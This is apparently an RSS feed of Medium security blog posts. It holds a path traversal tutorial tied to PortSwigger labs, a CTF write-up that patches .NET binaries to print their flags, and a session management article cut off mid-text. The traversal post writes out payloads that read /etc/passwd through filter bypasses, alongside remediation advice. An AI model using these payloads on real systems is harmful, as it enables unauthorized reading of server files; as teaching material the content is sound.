airtight.</li><li>Write the regression test for the silent failure mode, not just the modal’s rendering. A component test confirming RDPCertificateModal renders correctly in isolation would never have caught this.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lAigadIyE7scsL7OF8yL2Q.gif" /></figure><h3>thanks for reading</h3><p>Follow me : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7296e1e1283d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path Traversal: The Vulnerability That Lets You Walk Right Out the Front Door]]></title>
            <link>https://isv0x1.medium.com/path-traversal-the-vulnerability-that-lets-you-walk-right-out-the-front-door-7f6d737ec0c0?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f6d737ec0c0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[path-traversal]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 11:01:48 GMT</pubDate>
            <atom:updated>2026-11-17T11:01:48.928Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ybg2gWvvutQqMjZ3poDAw.png" /></figure><p>Of all the web vulnerabilities out there, path traversal might be the easiest to actually <em>understand</em> — and that’s exactly why it’s such a good starting point. No weird syntax, no complicated payloads at first. Just one simple idea: <strong>if an app trusts a filename you give it, you can give it a filename it never expected.</strong></p><p>Once that clicks, everything else in this article is just “clever variations on the same trick.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Dkwfkjc1CbqeUpaRt6aM3w.gif" /></figure><h4>The Setup: How Apps Serve Files</h4><p>Picture an e-commerce site showing product images. Somewhere on the server, there’s a folder:</p><p>Picture an e-commerce site showing product images. Somewhere on the server, there’s a folder:</p><pre>/var/www/images/<br>    ├── 101.png<br>    ├── 102.png<br>    └── 218.png</pre><p>And the app code behind a request like:</p><pre>GET /loadImage?filename=218.png</pre><p>..does something close to this:</p><pre>path = &quot;/var/www/images/&quot; + filename<br>return open(path).read()</pre><p>Totally reasonable-looking code. It works fine — as long as filename behaves itself.</p><h4>The Trick: ../ Means “Go Back”</h4><p>On Linux/Unix systems, .. means “the parent folder.” So if you’re standing in /var/www/images/ and you say ../, you’re now in /var/www/. Say it again, ../../, and you’re in /var/.</p><p>Now watch what happens when the app blindly glues your input onto its base path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*TSvxy2LfgdXe1lD4AH3KLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*DZA7qh2FKGnMgRzwK6Cz5w.png" /></figure><p>Congratulations — you just asked a product-image endpoint for the server’s password file, and it probably handed it over.</p><h4>Technique 1: The Naked Request</h4><p>No filtering at all. This is the “hello world” of the bug:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*fPCdvX3OSRn9E5J6IfyF6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*j9_HXFxXN-rglA-Ukkfhwg.png" /></figure><h4>Technique 2: Skip the Dots Entirely (Absolute Path)</h4><p>Some apps only check for ../ and assume that’s the only threat. They forget that an <strong>absolute path</strong> doesn’t need any dots at all:</p><pre>GET /loadImage?filename=/etc/passwd</pre><p>No traversal sequence to catch — the filter has nothing to flag, and depending on how the path gets built, this absolute path can completely override the intended base folder.</p><p>LAB FOR EXERCISE :<a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass">Lab: File path traversal, traversal sequences blocked with absolute path bypass | Web Security Academy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*cYVMolgFqnIrPk9QIl2xWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*q2dmk-rfEFNlW6n9N-Tv1A.png" /></figure><h4>Technique 3: The “Strip It Once” Trap</h4><p>This one’s my favorite to explain because it <em>feels</em> like a magic trick.</p><p>Say the developer adds a fix:</p><pre>filename = filename.replace(&quot;../&quot;, &quot;&quot;)</pre><p>Looks solid, right? “Just delete any ../ you find.” The problem: it only runs <strong>once</strong>. It doesn’t loop back and check again after deleting something.</p><p>So you feed it something that <em>contains</em> ../ once you remove a smaller ../ from the middle of it:</p><pre>....//</pre><p>Break it down: .. + ../ + /. The filter spots the ../ hiding inside and deletes just that part, leaving:</p><pre>../</pre><p>You just rebuilt the exact thing it was trying to block — using the filter’s own logic against it. Chain a few of these together and you’re traversing again:</p><pre>GET /loadImage?filename=....//....//....//etc/passwd</pre><p>LAB FOR EXERCISE :<a href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively">Lab: File path traversal, traversal sequences stripped non-recursively | Web Security Academy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*vPtnUHYZIKExXUMsU6TXHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*po4r0Pf_chVsR50FytanZw.png" /></figure><h4>Technique 4: Encode It, Then Encode It Again</h4><p>Browsers and servers routinely decode URL-encoded characters (%2e → ., %2f → /). Most filters check the input <em>before</em> decoding, or decode it once and call it a day.</p><p>But some code accidentally decodes the input <strong>twice</strong>. If you only encode once:</p><pre>..%2f</pre><p>…the first decode turns this straight into ../ and the filter might still catch it. So instead, you encode the % sign itself (%25), creating a double-encoded payload:</p><pre>..%252f</pre><ul><li>First decode: %252f → %2f → result looks like ..%2f (filter sees nothing suspicious yet)</li><li>Second, unnecessary decode (the bug): %2f → / → now it’s ../</li></ul><p>You smuggled the traversal sequence through by hiding it one layer deeper than the filter was looking.</p><p>LAB FOR EXERCISE :<a href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode">Lab: File path traversal, traversal sequences stripped with superfluous URL-decode | Web Security Academy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*D0YqNIP3G25tTBNprjGlww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9LoJ3WWyZM-AkweUjDLfdQ.png" /></figure><h4>Technique 5: Satisfy the Check, Then Undo It</h4><p>Some apps are smarter — they check that your input <strong>starts with</strong> the expected safe folder, like /var/www/images/, before using it. Fair enough. So... give them exactly what they want, and then keep going:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*8heM7ZIsss4XAVLiINBcOw.png" /></figure><p>The check passes — yes, technically, the string <em>does</em> start with /var/www/images/. What it didn’t check is everything that comes <em>after</em> that prefix, where you quietly walk right back out again.</p><p>LAB FOR EXERCISE :<a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path">Lab: File path traversal, validation of start of path | Web Security Academy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*GX2XySe9uzV8_3o11zmMPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rt-_2kVoehABYgb7niS_RA.png" /></figure><h4>Technique 6: The Null Byte Trick (Mostly Historical, Still Worth Knowing)</h4><p>Some older systems required filenames to end in a specific extension, like .png. Developers would check: “does this string end in .png? Good, proceed.”</p><p>On certain older language runtimes, inserting a null byte (%00) would make the operating system treat everything after it as nonexistent — effectively terminating the string early, even though the validation code (checking the <em>original</em>, unterminated string) still saw .png at the end:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*ju2wx7i1PNjulIxNB6pJqQ.png" /></figure><p>The validator sees a string ending in .png and approves it. The OS, reading the same bytes, stops at the null byte and opens /etc/passwd. Modern language runtimes patched this years ago, but it’s a great lesson in “validate one thing, execute a different thing.”</p><p>LAB FOR EXERCISE :<a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass">Lab: File path traversal, validation of file extension with null byte bypass | Web Security Academy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*DuOa6iPq14Z3wq1zwYJQMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rqNeiB_JmNdHQZ1iAnBdBg.png" /></figure><h4>A Quick Note on Operating Systems</h4><ul><li><strong>Linux/Unix</strong>: root is /, and once you break out, you can keep climbing all the way to the actual filesystem root — nothing stops you at a drive boundary.</li><li><strong>Windows</strong>: paths start with a drive letter (C:\), separators can be / or \, and you’re generally boxed into the partition the web root lives on — though Windows has its own quirks, like tolerating stray trailing dots and slashes in filenames.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*LMWYTJgHu-FLDHpb0wsOQg.gif" /></figure><h4>All Techniques, One Table</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*tPxmDGflijYoT8cPlL9QWg.png" /></figure><h4>How to Actually Fix This (Not Just Patch Around It)</h4><p>Here’s the thing most developers get wrong: they keep adding more string-replace rules, trying to blocklist every clever trick in this article one by one. That’s a losing game — there’s always one more trick.</p><p>The real fix is structural:</p><ol><li><strong>Don’t take a path from the user at all, if you can avoid it.</strong> Use an index number or an ID that maps to a filename on the server side, instead of letting the user name the file directly.</li><li><strong>If you must accept input, whitelist it hard.</strong> Allow only a strict set of safe characters — letters, numbers, maybe a dash. Reject anything with a slash, backslash, dot sequence, or null byte outright.</li><li><strong>Resolve the final path and check where it actually landed.</strong> After building the full path, use your language’s canonicalization function (realpath() in C, getCanonicalPath() in Java, os.path.realpath()/resolve() elsewhere) and confirm the result genuinely sits inside the folder you intended — <em>after</em> resolution, not before.</li><li><strong>Assume you’ll get it wrong once, and limit the blast radius.</strong> Run the app with the minimum filesystem permissions it needs. Don’t put secrets or configs inside the web root. Consider OS-level sandboxing.</li></ol><p>Do steps 1 and 3 right, and literally every trick in this article stops working at once — not because you blocked each payload, but because the question “did this path actually end up where I expected?” has a clean, verifiable answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*0dsUYEG9kaPFdwKByU7ZKg.gif" /></figure><h4>Closing Thought</h4><p>Path traversal is a great teacher because it shows you something that shows up everywhere in security: <strong>the gap between what a check validates and what the system actually does with the input afterward.</strong> Keep that gap in mind, and you’ll start spotting the same pattern in file uploads, SSRF, deserialization, and a dozen other bug classes down the road.</p><h3>there is a part 2 for this article</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*crMF95MKwM6TUd5GuTgZLA.gif" /><figcaption>thanks for reading</figcaption></figure><p>Follow me : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f6d737ec0c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tech Vision CTF 2026 — .NET Reverse Engineering Writeups]]></title>
            <link>https://isv0x1.medium.com/tech-vision-ctf-2026-net-reverse-engineering-writeups-5480653388fa?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5480653388fa</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 18:05:01 GMT</pubDate>
            <atom:updated>2026-11-13T19:40:43.526Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Maeytu7yyagxl1uunBBQRg.png" /><figcaption>Follow me in medium❤️ for more exclusive Cybersecurity writups</figcaption></figure><p>Hello everyone! Today my team and I played <strong>Tech Vision CTF 2026</strong>, and in this article I’ll walk through how I solved one of the reverse engineering challenges. Let’s dive in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*z-IjkCbyuIGQrr6cOts4hA.png" /><figcaption>Thanks for <strong>Tech Vision</strong></figcaption></figure><h3>Steel &amp; Feathers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwJFxewGN6_cQxyUsmQ98w.png" /></figure><p>The binary asks for a flag and replies accepted or rejected. The flag isn’t stored as a string. It’s produced at runtime by a small custom stack VM, and Main compares your input to the VM’s output. So the challenge is really three layers:</p><ol><li>A Base64 + GZip blob that holds the bytecode.</li><li>A per-byte decoder (Unpack) that decrypts that bytecode.</li><li>A VM (Run) that executes the bytecode and emits the flag byte by byte.</li></ol><h3>Step 1: Recon</h3><pre>file SteelAndFeathers.exe<br># PE32 executable (console) Intel 80386 Mono/.Net assembly<br>strings -n 6 SteelAndFeathers.exe</pre><p>The strings show FromBase64String, GZipStream, Stack&lt;T&gt; and List&lt;T&gt;. That points to a packed payload and a stack machine. The user strings also contain flag&gt; , accepted and rejected. Since it’s .NET, a decompiler like dnSpy or ILSpy gives near-original code.</p><h3>Step 2: The structure</h3><p>Main is small:</p><pre>string expected = Run();<br>Console.WriteLine(&quot;flag&gt; &quot;);<br>string input = Console.ReadLine() ?? string.Empty;<br>Console.WriteLine(input == expected ? &quot;accepted&quot; : &quot;rejected&quot;);</pre><p>The flag is Run()’s return value. You never need to guess it. You only need to reproduce that value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gnAa5u0colK--Rlla9SzNg.png" /></figure><h3>Step 3: Unpack</h3><pre>static byte Ror(byte x, int n) =&gt;<br>    (byte)((x &gt;&gt; (n &amp; 31)) | (x &lt;&lt; ((8 - n) &amp; 31)));</pre><pre>static byte[] Unpack() {<br>    byte[] d = GunZip(Convert.FromBase64String(package));<br>    for (int i = 0; i &lt; d.Length; i++)<br>        d[i] = (byte)(Ror(d[i], i % 7 + 1) ^ ((23 + i * 41) &amp; 255));<br>    return d;<br>}</pre><p>Each byte is rotated right by (i % 7) + 1 and XORed with the key (23 + 41·i) &amp; 0xFF. Rotating by an index-dependent amount defeats a simple XOR-key guess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fLDVbWw2JZFXtN-rVlyIg.png" /></figure><h3>Step 4: Getting the flag</h3><p><strong>Option A: Patch the binary</strong></p><p>The program already calculates the flag on your machine when it runs. It only hides it by comparing it to your input. So instead of comparing, we make it print the value:</p><ol><li>Open the file in <strong>dnSpy</strong> and go to SteelAndFeathers → Program → Main.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J7tQJRARb6EQcbtZFfq2SA.png" /><figcaption>and edit c sharp method</figcaption></figure><p>2 Right-click the method and choose <strong>Edit Method (C#)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4osLuwzG6sL25A09HxSgg.png" /></figure><p>Delete the whole body (the ReadLine and the comparison) and replace it with:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*0cEcG5rEE1q-Ld66PkBhsQ.png" /></figure><p>replace it with:</p><pre>private static void Main()<br>{<br>    Console.WriteLine(Program.Run());<br>    Console.ReadLine();<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*E20bmYXNitkBm326ekkKrQ.png" /></figure><p>Click <strong>Compile</strong>, then <strong>File → Save Module</strong> and save the new file in another location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*utSvpUtrT6uM6TAoxA6ygw.gif" /></figure><ol><li>Run the new file and watch the magic:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*JrNVBz0WFWRg3vrB5Ad9gw.png" /></figure><h3>Summer is over</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*3JCIoF04amKUxepX61i7DA.png" /></figure><h3>The idea</h3><p>Same shape as the previous challenge: the program prints flag&gt; , reads your input, and answers accepted or rejected. The flag isn’t stored as text. It’s hidden in two static byte arrays, and a method called Reveal() rebuilds it at runtime. Main then compares your input to that rebuilt string.</p><h3>Step 1: Recon</h3><pre>file SummerIsOver.exe<br># PE32 executable (console) Intel 80386 Mono/.Net assembly<br>strings -n 5 SummerIsOver.exe</pre><p>The strings show two fields named blob and schedule, a method called Reveal, and RuntimeHelpers.InitializeArray, which is how C# loads constant arrays from the file. The user strings are flag&gt; , rejected and accepted.</p><h3>Step 2: The structure</h3><pre>string expected = Reveal();<br>Console.Write(&quot;flag&gt; &quot;);<br>string input = Console.ReadLine() ?? string.Empty;<br>Console.WriteLine(input == expected ? &quot;accepted&quot; : &quot;rejected&quot;);</pre><p>The static constructor loads the two arrays: blob is 26 bytes (the scrambled flag) and schedule is 8 bytes (a repeating key).</p><h3>Step 3: What Reveal does</h3><p>It works in two stages. For each index i of the 26 bytes:</p><pre>byte b = blob[(i * 5 + 1) % n];          // 1. shuffled read order<br>b ^= (byte)(51 + 11 * i);                // 2. position-dependent XOR<br>b ^= schedule[i % schedule.Length];      // 3. repeating-key XOR<br>b -= (byte)(3 * i * i + 25);             // 4. quadratic subtraction<br>b  = Ror(b, i % 5 + 1);                  // 5. variable rotate right<br>t[i] = (byte)(b ^ (33 + 7 * i));         // 6. final XOR</pre><p>Then a second pass <strong>reverses every 4-byte block</strong> (the last block has 2 bytes):</p><pre>int s = i / 4 * 4, len = Math.Min(4, n - s);<br>r[s + len - 1 - (i - s)] = t[i];</pre><p>The result goes through Encoding.ASCII.GetString. Before the block reversal, the text looks like {XVT_dn47_.... That’s the hint that the second stage is a block reversal.</p><h3>Step 4: Getting the flag ( THE SAME )</h3><p><strong>Option A: Patch the binary</strong></p><ol><li>Open the file in <strong>dnSpy</strong> and go to SummerIsOver → Program → Main.</li><li>Right-click the method and choose <strong>Edit Method (C#)</strong>.</li><li>Replace the body with:</li></ol><pre>private static void Main()<br>{<br>    Console.WriteLine(Program.Reveal());<br>    Console.ReadLine();<br>}</pre><p>Click <strong>Compile</strong>, then <strong>File → Save Module</strong> and save in another location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Uho1EomxMLKL9QKel2m_XA.gif" /></figure><p>Run the new file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*7KNzDCk2z8XcvY2OeyZYCQ.png" /></figure><h3>Twist me a twister</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFwDPbjV-CYBjEv_q9k5qg.png" /></figure><h3>do all Previous steps again typically</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*HUAKuAd1GWHZ-EpBuYwVdQ.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*5sWQcVT0ahqC4cvtA9Yr2Q.png" /></figure><h4>All three challenges fell to the same trick: <strong>patch </strong><strong>Main to print the value the program already computes.</strong> That worked because of one design flaw:</h4><ul><li>The flag is rebuilt by a function that takes <strong>no input</strong> (Run() / Reveal()).</li><li>Main only uses that value for comparison, so anyone can call the same function and print it.</li><li>The obfuscation (Base64, GZip, XOR, rotations, shuffles, a custom VM) made it harder to <em>read</em>, but never harder to <em>run</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*a2Q4QnM6EHQSZZKLOrlu4Q.png" /><figcaption><strong>Thanks For Reading</strong></figcaption></figure><p>Follow Me in : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5480653388fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session Management Weaknesses: 10 Ways Attackers Take Over Accounts]]></title>
            <link>https://isv0x1.medium.com/session-management-weaknesses-10-ways-attackers-take-over-accounts-554491f8f274?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/554491f8f274</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 22:39:40 GMT</pubDate>
            <atom:updated>2026-11-12T22:39:40.294Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_XpgfhpaAyFd-DpKEcS2vw.png" /></figure><h3>Introduction</h3><p>Session management is one of the most critical components of web application security. After a user successfully authenticates, the application must maintain their identity across multiple HTTP requests.</p><p>Since HTTP is a stateless protocol, web applications commonly rely on cookies and session identifiers to maintain authenticated states.</p><p>However, improper session management can introduce serious security vulnerabilities, potentially allowing attackers to hijack user sessions, bypass authentication, escalate privileges, or gain unauthorized access to sensitive accounts.</p><p>In this article, we will explore 10 common session management security weaknesses, understand how they can be exploited, and discuss the conditions required to demonstrate their actual security impact during a penetration test or bug bounty assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*L3iQ0oaXtQjPNegdiWsQWQ.gif" /></figure><h3>1. Missing HttpOnly Flag — Session Theft Through XSS</h3><h3>Overview</h3><p>The HttpOnly attribute prevents client-side JavaScript from directly accessing a cookie through APIs such as document.cookie.</p><p>When a session cookie lacks this attribute, an existing Cross-Site Scripting (XSS) vulnerability may allow malicious JavaScript to read and potentially exfiltrate the session cookie.</p><h3>Vulnerable Example</h3><pre>HTTP/1.1 200 OK<br>Set-Cookie: PHPSESSID=abc123; Secure; SameSite=Lax</pre><p>Notice that the cookie does not include the HttpOnly attribute.</p><h3>Attack Scenario</h3><ol><li>An attacker discovers a Stored XSS vulnerability.</li><li>Malicious JavaScript executes in a victim’s browser.</li><li>The script accesses cookies exposed through document.cookie.</li><li>If the session cookie is accessible, it may be transmitted to an attacker-controlled endpoint.</li><li>The attacker attempts to reuse the stolen session identifier.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*kPrJ1n55pZ5qzciSXiBBpw.png" /></figure><h3>Security Impact</h3><ul><li>Session Hijacking.</li><li>Unauthorized account access.</li><li>Potential Account Takeover.</li></ul><h3>Mitigation</h3><p>Set the HttpOnly attribute on sensitive session cookies.</p><pre>Set-Cookie: PHPSESSID=abc123; Secure; HttpOnly; SameSite=Lax</pre><p><strong>Important:</strong> Missing HttpOnly alone does not prove session theft. A meaningful finding requires a demonstrated attack path, such as exploitable XSS and an accessible authenticated session.</p><h3>2. Missing Secure Flag — Session Exposure Over HTTP</h3><p>The Secure attribute instructs browsers to send a cookie only over secure HTTPS connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*keI941_6Rsy4ktXlF1h6-Q.png" /></figure><p>Without this attribute, a session cookie may be transmitted through an unencrypted HTTP connection, depending on the browser and cookie context.</p><h3>Vulnerable Example</h3><pre>Set-Cookie: SESSIONID=abc123; HttpOnly; SameSite=Lax</pre><p>The cookie is missing the Secure attribute.</p><h3>Attack Scenario</h3><ol><li>A user authenticates to a web application.</li><li>The application issues a session cookie without the Secure flag.</li><li>The user accesses an HTTP endpoint on the same applicable host.</li><li>The browser may transmit the session cookie over the unencrypted connection.</li><li>An attacker capable of observing or intercepting that traffic may obtain the session identifier.</li></ol><h3>Security Impact</h3><ul><li>Session Cookie Exposure.</li><li>Session Hijacking.</li><li>Potential Account Takeover.</li></ul><h3>Mitigation</h3><p>Always use HTTPS and configure sensitive session cookies with the Secure attribute.</p><pre>Set-Cookie: SESSIONID=abc123; Secure; HttpOnly; SameSite=Lax</pre><h3>3. Session Fixation — Failure to Regenerate Session IDs</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kxNMopwWXLRJR1o-m2E5rw.jpeg" /></figure><p>Session Fixation occurs when an application allows an attacker to establish or influence a session identifier that is subsequently used by a victim to authenticate.</p><p>If the application does not regenerate the session identifier after successful authentication, the attacker may be able to reuse the known identifier to access the victim’s authenticated session.</p><h3>Vulnerable Example</h3><p>Before authentication:</p><pre>HTTP/1.1 200 OK<br>Set-Cookie: SESSIONID=ATTACKER123</pre><p>After the victim successfully authenticates:</p><pre>HTTP/1.1 302 Found<br>Set-Cookie: SESSIONID=ATTACKER123</pre><p>The session identifier remains unchanged.</p><h3>Attack Scenario</h3><ol><li>The attacker obtains or establishes a session identifier.</li><li>The attacker finds a way to make the victim use that identifier.</li><li>The victim authenticates successfully.</li><li>The server associates the authenticated account with the existing session identifier.</li><li>The attacker reuses the known identifier.</li><li>If the session remains valid and accessible, the attacker may gain access to the victim’s authenticated account.</li></ol><h3>Security Impact</h3><ul><li>Session Hijacking.</li><li>Unauthorized Account Access.</li><li>Potential Account Takeover.</li></ul><h3>Vulnerable PHP Example</h3><pre>session_start();</pre><pre>if ($valid_login) {</pre><pre>    // Session ID is not regenerated</pre><pre>    $_SESSION[&#39;user_id&#39;] = 42;<br>    $_SESSION[&#39;authenticated&#39;] = true;<br>}</pre><h3>Secure Implementation</h3><pre>session_start();</pre><pre>if ($valid_login) {</pre><pre>    session_regenerate_id(true);</pre><pre>    $_SESSION[&#39;user_id&#39;] = 42;<br>    $_SESSION[&#39;authenticated&#39;] = true;<br>}</pre><p>Regenerating the session identifier after authentication prevents an attacker from relying on a previously known session ID.</p><h3>Mitigation</h3><ul><li>Regenerate session identifiers after authentication.</li><li>Regenerate session identifiers after privilege changes.</li><li>Reject attacker-supplied or unrecognized session identifiers where appropriate.</li><li>Invalidate previous session identifiers.</li></ul><p><strong>Testing Consideration:</strong> An unchanged session ID alone is not sufficient evidence of exploitable Session Fixation. The tester must demonstrate session influence, victim authentication using the known identifier, and successful reuse of the authenticated session.</p><h3>4. Predictable Session IDs — Session Guessing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*IwtouxMseegxLbzZ7P4Q3w.gif" /></figure><p>Session identifiers must be generated using cryptographically secure random number generators.</p><p>If session IDs follow predictable patterns, attackers may be able to guess valid identifiers belonging to other users.</p><h3>Vulnerable Example</h3><p>Consider an application generating sequential session identifiers:</p><pre>SESSIONID=10001<br>SESSIONID=10002<br>SESSIONID=10003<br>SESSIONID=10004</pre><p>Such a pattern may indicate insufficient randomness.</p><h3>Attack Scenario</h3><ol><li>An attacker obtains multiple session identifiers.</li><li>They analyze their structure and generation patterns.</li><li>They identify predictable values or insufficient entropy.</li><li>They attempt to identify valid sessions belonging to other users.</li><li>If successful, they may gain unauthorized access.</li></ol><h3>Security Impact</h3><ul><li>Session Guessing.</li><li>Session Hijacking.</li><li>Unauthorized Account Access.</li></ul><h3>Mitigation</h3><ul><li>Use cryptographically secure random number generators (CSPRNG).</li><li>Generate sufficiently long session identifiers.</li><li>Avoid sequential IDs, timestamps, or predictable values.</li><li>Ensure session identifiers contain sufficient entropy.</li></ul><h3>5. Session IDs in URLs — Session Information Leakage</h3><h3>Overview</h3><p>Some applications transmit session identifiers through URL parameters instead of using cookies.</p><p>This creates additional exposure because URLs can be recorded in multiple locations.</p><h3>Vulnerable Example</h3><pre>GET /dashboard?PHPSESSID=abc123 HTTP/1.1<br>Host: example.com</pre><p>The session identifier is included directly in the URL.</p><h3>Potential Leakage Sources</h3><ul><li>Browser History.</li><li>Web Server Access Logs.</li><li>Analytics Platforms.</li><li>Referer Headers.</li><li>Screenshots and Shared Links.</li></ul><h3>Attack Scenario</h3><ol><li>An authenticated user visits a URL containing their session identifier.</li><li>The URL is stored in browser history or server logs.</li><li>The identifier is exposed through an external system or shared resource.</li><li>An attacker obtains the session identifier.</li><li>If the identifier remains valid, the attacker may reuse it.</li></ol><h3>Security Impact</h3><ul><li>Session Information Disclosure.</li><li>Session Hijacking.</li><li>Potential Account Takeover.</li></ul><h3>Mitigation</h3><ul><li>Use secure cookies instead of URL-based session identifiers.</li><li>Avoid exposing sensitive authentication tokens in URLs.</li><li>Apply appropriate Referrer-Policy settings.</li><li>Protect server logs and analytics systems.</li></ul><h3>6. Broad Cookie Domain — Cross-Subdomain Security Risks</h3><h3>Overview</h3><p>The Domain attribute determines which hosts are eligible to receive a cookie.</p><p>Setting an unnecessarily broad cookie domain may expose sensitive cookies to additional subdomains.</p><h3>Vulnerable Example</h3><pre>Set-Cookie: SESSIONID=abc123; Domain=example.com; Path=/; Secure; HttpOnly</pre><p>Consider the following infrastructure:</p><pre>app.example.com<br>dev.example.com<br>old.example.com</pre><p>The cookie may be sent to matching subdomains.</p><h3>Attack Scenario</h3><ol><li>The application shares its authentication cookie across multiple subdomains.</li><li>One subdomain contains a security weakness or is compromised.</li><li>The attacker investigates how the subdomain interacts with the shared cookie scope.</li><li>Depending on the cookie attributes and application architecture, the attacker may exploit cookie injection, cookie collisions, or other cross-subdomain weaknesses.</li><li>This may affect authentication or session handling on the main application.</li></ol><h3>Security Impact</h3><ul><li>Cookie Injection.</li><li>Cookie Collision.</li><li>Cross-Subdomain Security Issues.</li><li>Potential Session Compromise.</li></ul><h3>Mitigation</h3><ul><li>Avoid unnecessarily broad cookie domains.</li><li>Prefer host-only cookies when cross-subdomain sharing is not required.</li><li>Consider the __Host- cookie prefix where applicable.</li><li>Secure and monitor all subdomains.</li></ul><p><strong>Important:</strong> A broad Domain attribute does not automatically allow JavaScript on every subdomain to read an HttpOnly cookie. Exploitability depends on the actual cookie scope and application behavior.</p><h3>7. Missing Session Expiration — Persistent Sessions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*WvMlzEmsFOA2jgM7vzSMLg.gif" /></figure><p>Web applications should implement appropriate session expiration mechanisms to prevent authenticated sessions from remaining valid indefinitely.</p><p>Two important mechanisms are:</p><ul><li><strong>Idle Timeout:</strong> Expires a session after a period of inactivity.</li><li><strong>Absolute Timeout:</strong> Expires a session after a maximum 